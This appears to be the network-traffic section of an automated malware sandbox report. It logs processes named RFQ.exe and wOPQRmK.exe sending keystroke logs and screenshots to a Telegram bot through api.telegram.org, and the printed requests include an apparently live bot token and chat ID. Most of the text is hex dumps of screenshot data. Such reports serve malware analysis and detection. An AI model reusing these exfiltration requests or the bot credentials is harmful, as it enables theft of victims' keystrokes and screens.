15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:45 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2025-03-11 14:34:45 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:45 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:45 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:45 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2025-03-11 14:34:45 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:45 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:35:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:59 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49715	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:35:02 UTC	561	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 634 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:35:02 UTC	634	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 42 47 6d 59 49 59 65 63 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 34 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 34 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 34 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataBGmYIYec.txt"Content-Type: application/octet-stream[10:34:40]<<Program Manager>>[10:34:40]<<Program Manager>>[10:34:41]<<Program Mana
2025-03-11 14:35:02 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:35:02 GMT Content-Type: application/json Content-Length: 553 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:35:02 UTC	553	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 37 30 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28164,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703702,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49717	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:35:02 UTC	153	OUT	GET /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendMessage?chat_id=6732456666&text=BM6 HTTP/1.1 User-Agent: Project1 Host: api.telegram.org
2025-03-11 14:35:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:35:02 GMT Content-Type: application/json Content-Length: 241 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:35:03 UTC	241	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 37 30 32 2c 22 74 65 78 74 22 3a 22 42 4d 36 22 7d 7d Data Ascii: {"ok":true,"result":{"message_id":28165,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703702,"text":"BM6"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49718	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:35:05 UTC	561	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:35:05 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 58 64 43 68 64 63 61 51 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 34 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 34 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 34 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataXdChdcaQ.txt"Content-Type: application/octet-stream[10:34:43]<<Program Manager>>[10:34:43]<<Program Manager>>[10:34:43]<<Program Mana
2025-03-11 14:35:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:35:05 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:35:05 UTC	554	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 37 30 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28166,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703705,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49719	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:35:06 UTC	565	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:35:06 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 51 43 48 54 70 42 42 66 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotQCHTpBBf.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2025-03-11 14:35:06 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:35:06 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:35:06 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2025-03-11 14:35:06 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
